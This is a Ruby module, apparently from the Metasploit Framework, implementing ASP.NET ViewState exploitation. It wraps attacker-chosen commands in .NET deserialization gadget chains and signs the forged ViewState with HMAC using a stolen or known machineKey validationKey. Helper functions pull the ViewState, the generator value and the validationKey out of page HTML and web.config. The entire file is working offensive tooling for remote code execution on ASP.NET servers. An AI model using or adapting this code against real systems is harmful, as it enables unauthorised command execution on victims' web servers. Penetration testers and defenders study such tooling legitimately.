# -*- coding: binary -*-

#
# This is a specific implementation of ASP.NET ViewState generation and decoding
#
# Microsoft resources:
#   https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security
#   https://github.com/microsoft/referencesource/blob/master/System.Web/UI/LOSFormatter.cs
#   https://github.com/microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs
#   https://github.com/microsoft/referencesource/blob/master/System.Web/UI/Page.cs
#
# Mono resources:
#   https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/LosFormatter.cs
#   https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/ObjectStateFormatter.cs
#   https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.Util/MachineKeySectionUtils.cs
#
# Other resources:
#   https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
#   https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs
#
# Kudos to zeroSteiner for Msf::Util::DotNetDeserialization and the inspiration
#

module Msf
module Exploit::ViewState

  def initialize(info = {})
    super

    register_advanced_options([
      OptEnum.new(
        'DotNetGadgetChain',
        [
          true,
          '.NET gadget chain to use in ViewState',
          :TextFormattingRunProperties,
          Msf::Util::DotNetDeserialization.formatter_compatible_gadget_chains(:LosFormatter)
        ]
      )
    ])
  end

  def generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '')
    serialized_payload = Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: datastore['DotNetGadgetChain'].to_sym,
      formatter: :LosFormatter
    )

    generate_viewstate(serialized_payload, extra: extra, algo: algo, key: key)
  end

  def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
    # Generate ViewState HMAC from known values and validation key
    hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)

    # Append HMAC to provided data and Base64-encode the whole shebang
    Rex::Text.encode_base64(data + hmac)
  end

  def generate_viewstate_hmac(data, algo: 'sha1', key: '')
    OpenSSL::HMAC.digest(algo, key, data)
  end

  def decode_viewstate(encoded_viewstate, algo: 'sha1')
    viewstate = Rex::Text.decode_base64(encoded_viewstate)

    unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
      vprint_error('Could not decode ViewState')
      return { data: nil, hmac: nil }
    end

    hmac_len = generate_viewstate_hmac('', algo: algo).length

    if (data = viewstate[0...-hmac_len]).empty?
      vprint_error('Could not parse ViewState data')
      data = nil
    end

    unless (hmac = viewstate[-hmac_len..-1])
      vprint_error('Could not parse ViewState HMAC')
    end

    { data: data, hmac: hmac }
  end

  def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
    viewstate = decode_viewstate(encoded_viewstate)

    unless viewstate[:data]
      vprint_error('Could not retrieve ViewState data')
      return false
    end

    unless (their_hmac = viewstate[:hmac])
      vprint_error('Could not retrieve ViewState HMAC')
      return false
    end

    our_hmac = generate_viewstate_hmac(
      viewstate[:data] + extra,
      algo: algo,
      key: key
    )

    # Do we have what it takes?
    our_hmac == their_hmac
  end

  # Extract __VIEWSTATE from HTML
  def extract_viewstate(html)
    html.at('//input[@id = "__VIEWSTATE"]/@value')&.text
  end

  # Extract __VIEWSTATEGENERATOR from HTML
  def extract_viewstate_generator(html)
    html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text
  end

  # Extract validationKey from web.config
  def extract_viewstate_validation_key(web_config)
    web_config.at('//machineKey/@validationKey')&.text
  end

  # Convenience method to convert __VIEWSTATEGENERATOR to binary
  def pack_viewstate_generator(hex_generator)
    [hex_generator.to_i(16)].pack('V')
  end

  # Convenience method to convert validationKey to binary
  def pack_viewstate_validation_key(hex_key)
    [hex_key].pack('H*')
  end

end
end
